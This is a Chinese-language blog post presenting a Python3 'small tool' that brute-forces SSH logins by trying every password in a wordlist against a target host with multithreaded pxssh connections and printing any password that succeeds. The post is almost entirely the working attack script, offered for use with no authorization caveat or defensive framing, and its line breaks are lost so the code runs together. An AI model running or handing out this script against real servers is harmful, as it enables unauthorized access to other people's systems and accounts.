標籤:python tools
一、工具說明
利用pxssh庫進行暴力破解ssh
二、示範一下的利用效果
650) this.width=650;" src="http://s1.51cto.com/wyfs02/M00/8C/2E/wKioL1hkvTWAbzg6AAXGInZrr9Q438.png" title="sshbrute.png" alt="wKioL1hkvTWAbzg6AAXGInZrr9Q438.png" />
三、代碼+注釋
from pexpect import pxsshimport argparseimport threadingmaxConnetions = 5connect_lock = threading.BoundedSemaphore(value=maxConnetions)def connect(host, user, password): try: s = pxssh.pxssh() # 登入ssh測試 s.login(host, user, password) print("[+] Password Found: {}".format(password)) except pxssh.ExceptionPxssh as e: passdef main(): parser = argparse.ArgumentParser() parser.add_argument(‘-H‘, dest=‘Host‘, help="like: 192.168.3.1") parser.add_argument(‘-F‘, dest=‘passwdFile‘, help="like: /root/pass.txt") parser.add_argument(‘-u‘, dest=‘user‘) args = parser.parse_args() host = args.Host passwdFile = args.passwdFile user = args.user with open(passwdFile, ‘r‘) as f: for line in f.readlines(): with connect_lock: password = line.strip(‘\n‘) print("[-] Testing: {}".format(password)) # 起線程每個密碼嘗試登入一次 t = threading.Thread(target=connect, args=(host, user, password)) t.start()if __name__ == ‘__main__‘: main()
本文出自 “李春光的技術部落格” 部落格,請務必保留此出處http://lichunguang.blog.51cto.com/10274243/1887322
Python3小工具——暴力破解ssh